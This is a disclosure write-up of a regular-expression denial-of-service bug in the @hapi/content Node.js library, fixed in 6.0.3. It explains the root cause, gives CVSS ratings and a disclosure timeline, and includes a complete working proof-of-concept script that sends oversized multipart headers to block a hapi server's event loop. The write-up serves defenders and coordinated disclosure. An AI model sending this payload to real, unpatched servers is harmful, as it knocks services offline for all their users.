Write-up: Pre-auth DoS in @hapi/content via a Content-Disposition regex (CVE-2026-119202)

In short. This is a denial-of-service bug in @hapi/content (CVE-2026-119202, GHSA-8494-f6mr-cjpv). Content.disposition() matches parameter names with an unanchored global regular expression, so a long Content-Disposition token that contains no = forces quadratic work. That work blocks the Node.js event loop and is reachable on unauthenticated multipart routes through @hapi/pez, before any handler or validation runs. Fixed in 6.0.3, rated High.

One upload request. Every other client waits. POST /u (1 MB upload) hapi event loop BLOCKED 8.5 s 136 s 542 s client A waiting client B waiting client C waiting attacker gets HTTP 200 1. One unauthenticated upload arrives 2. The loop is blocked while one header is parsed 3. Everyone waits, and the request still returns HTTP 200
One oversized token ties up the single-threaded event loop, and every other request waits behind it.

Background

@hapi/content is the small module hapi uses to read a request's Content-Type and Content-Disposition headers. Its disposition() function turns a header such as form-data; name="file"; filename="a.txt" into a set of parameters. The multipart reader calls it once for every part of a multipart/form-data body, the structure of any file upload.

This bug is an incomplete fix of an earlier issue. GHSA-jg4p-7fhp-p32p (CVE-2026-35213) changed the parameter regular expression in 6.0.1, but the new expression is still quadratic. Current stable 6.0.2 is affected.

Why a normal application is affected

pez, the multipart reader that subtext drives, calls disposition() on every part header read from the request body, at pez/lib/index.js:301, before any filename check and before the application handler runs. Any route with multipart parsing enabled reaches it.

It is not the hapi zero-config default, where multipart parsing is off and such a request returns 415. Once multipart is on, no default limit stops it. payload.timeout covers only receiving the bytes, and the server processing timeout is off by default. The 1 MB maxBytes limit sits far above the token size needed to cause a long stall, and pez sets no size limit on a single part header.

The parser runs before any filename check or handler. unauthenticated multipart upload pez reads part header disposition() parses parameters regex .replace() quadratic work no filename check, no handler, no size limit on a single part header yet
No account and no valid file are needed to reach the parser.

Root cause

The parser uses one global regular expression and a String.replace over the parameter string. In 6.0.2 it is defined at lib/index.js:96.

@hapi/content 6.0.2, lib/index.js:96
internals.contentDispositionParamRegex =
  /([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g;

// exports.disposition(header):
parameters.replace(internals.contentDispositionParamRegex, (...) => { ... });

The prefix ([^\=\*\s]+) consumes a long run of characters that are not =, and then the pattern requires a literal =. A token that is one long run with no = forces the prefix to match the whole run, then fail. Because the expression is global, the engine restarts at the next start position and rescans to the end. Work for one header therefore grows with the square of the token length.

A token of a's with no '='. Each start position rescans to the end. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa no '=' start positions, left to right work grows with length squared
The shaded triangle, not a straight line, is the total work for one header.

Proof of concept

The script below starts a hapi server with a public, unauthenticated multipart upload route and sends it valid upload requests whose Content-Disposition token grows. The larger tokens take minutes by design, so stop the run early once the trend is clear.

terminal, Node 26
npm install @hapi/hapi
node <<'EOF'
const Hapi=require('@hapi/hapi'), net=require('net'), PORT=7001;
function attack(n){return new Promise(res=>{
  const b='x';
  const body=`--${b}\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--${b}--\r\n`;
  const req=`POST /u HTTP/1.1\r\nHost:127.0.0.1\r\nContent-Type: multipart/form-data; boundary=${b}\r\nContent-Length:${Buffer.byteLength(body)}\r\nConnection:close\r\n\r\n${body}`;
  const t=process.hrtime.bigint(), s=net.connect(PORT,'127.0.0.1',()=>s.write(req)); let buf='';
  s.on('data',d=>buf+=d); s.on('close',()=>res({ms:Number(process.hrtime.bigint()-t)/1e6,status:(buf.split('\r\n')[0]||'').trim()}));
});}
(async()=>{
  const server=Hapi.server({port:PORT,host:'127.0.0.1'});
  server.route({method:'POST',path:'/u',options:{auth:false,payload:{multipart:{output:'data'},parse:true}},handler:()=>({ok:1})});
  await server.start();
  for(const n of [32000,64000,128000,256000,384000,512000,1024000]){const r=await attack(n);console.log(String(n)+' byte token  HTTP '+r.status.split(' ')[1]+'  '+(r.ms/1000).toFixed(1)+' s');}
  await server.stop(); process.exit(0);
})();
EOF

Every request returns HTTP 200, and the response time roughly quadruples for each doubling of the token, the signature of quadratic work. Adding a single = inside the token makes the request return in a few milliseconds, which isolates the cause to the regular expression above. Measured against 6.0.2 on Node 26:

measured, one request each
  32000 byte token    HTTP 200     0.6 s
  64000 byte token    HTTP 200     2.1 s
 128000 byte token    HTTP 200     8.5 s
 256000 byte token    HTTP 200    34.0 s
 384000 byte token    HTTP 200    76.5 s
 512000 byte token    HTTP 200   135.8 s
1024000 byte token    HTTP 200   542.4 s

At 1,024,000 bytes the token sits just under the 1 MB default payload limit and still finishes only after about nine minutes. Exact times depend on the machine. The four-times-per-doubling ratio does not.

Impact and severity

The cost falls entirely on the server. A slow trickle of these requests keeps the service down with very little bandwidth from the attacker, and each one looks like an ordinary, successful upload.

I reported a conservative score and noted a higher upper bound for sustained denial. The maintainer rated the published advisory High.

rating
reported (conservative)  CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N  ->  6.3 (Medium)
advisory (published)     CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H              ->  7.5 (High)
CWE-1333  (inefficient regular expression complexity)

The fix

The durable fix is to stop parsing the parameters with that regular expression. Replacing it with a linear pass or an explicit tokeniser removes the quadratic behaviour. A smaller change would bound the parameter-string length before the replace, or cap the size of a single part header in pez. Version 6.0.3 ships the fix, in commit ac9a2de.

Disclosure

On 11 October 2026 I reported this privately to the hapi team and kept it confidential until the fix shipped. The maintainer confirmed the report, released the fix in 6.0.3, and published the advisory GHSA-8494-f6mr-cjpv with me credited as the finder. CVE-2026-119202 followed.

Acknowledgements

My sincere thanks to the maintainer. The replies were clear and precise from the first message, the fix landed within days, and they requested the CVE on my behalf. That openness is what makes coordinated disclosure work, and it is rare enough to call out.

Timeline

timeline
2026-10-11: reported privately to the hapi team
2026-10-21: maintainer confirmed and said a fix was coming
2026-10-23: fix released in 6.0.3
2026-10-28: GHSA-8494-f6mr-cjpv published, credited as finder
2026-10-29: CVE-2026-119202 assigned
2026-11-05: this write-up published

References